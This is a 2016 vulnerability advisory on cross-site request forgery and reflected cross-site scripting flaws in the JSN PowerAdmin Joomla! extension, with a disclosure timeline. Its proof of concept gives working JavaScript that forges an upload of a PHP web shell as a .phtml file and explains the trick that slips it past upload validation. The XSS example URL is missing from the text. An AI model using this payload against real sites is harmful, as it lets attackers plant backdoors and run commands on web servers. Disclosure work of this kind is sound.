RatioSec Advisory Reference RS-2016-001
Product JSN PowerAdmin Joomla! Extension
Vendor JoomlaShine.com
Tested Versions 2.3.0
Other Vulnerable Versions Prior versions may also be affected
Vendor Notification 28th January, 2016
Advisory Publication 24th February, 2016
CVE Reference Pending
Risk Level High
CVSSv3 Base Score AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L


RatioSec Research has discovered two cross-site request forgery and reflected cross-site scripting vulnerabilities in JSN PowerAdmin which can be exploited, respectively, to upload PHP files and run arbitrary HTML and script code in a user’s browser session in context of the affected web site.

1) The cross-site request forgery vulnerability can be exploited by an attacker to upload PHP files and subsequently execute arbitrary commands.

The application allows users to perform certain actions via HTTP requests without performing proper validity checks to verify the requests. This can be exploited to upload PHP files via the extension installer and subsequently execute arbitrary commands with the web server privileges by tricking a logged-in administrator into visiting a malicious web site.

2) The reflected cross-site scripting vulnerability can be exploited by an attacker to run arbitrary HTML and script code in a user’s browser session in context of the affected web site.

Input passed to identified_name GET parameter when package is set, option is set to com_poweradmin, view is set to installer, and task is set to installer.install in /administrator/index.php is not properly sanitised before being reflected. This can be exploited to run arbitrary HTML and script code in a administrator’s browser session in context of the affected web site.

Proof Of Concept

1) The following HTML page exploits the cross-site request forgery vulnerability and uploads a malicious PHP script system($_GET['cmd']); as /tmp/bd.phtml if visited by a logged-in administrator.

      function submitRequest()
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/no8/joomla/administrator/index.php?option=com_poweradmin&view=installer&task=installer.install", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------167969427914885435381146171168");
        xhr.withCredentials = true;
        var body = "-----------------------------167969427914885435381146171168\r\n" +
          "Content-Disposition: form-data; name=\"package\"; filename=\"bd.phtml\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\x3cscript language=\"php\"\x3esystem($_GET['cmd']);\r\n" +
          "\r\n" +
          "-----------------------------167969427914885435381146171168--\r\n" +
          "\r\n" +
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />

The file extension .phtml and the <script language="php"> </script> tags are used here to fool the Joomla API JFile::upload() file validation checks. As result, the backdoor is installed permanently as /tmp/bd.phtml which can be used lately by the attacker to obtain the full system compromise.

Command Execution

2) The following URL exploits the cross-site scripting vulnerability to execute javascript code in a logged-in administrator’s browser.



No official solution is currently available.


  • First contact: 27th January, 2016
  • Disclosure: 28th January, 2016. Preliminary date set to 10th, February 2016.
  • E-mail notice after no response: 02nd February, 2016
  • Advisory Publication: 24th February, 2016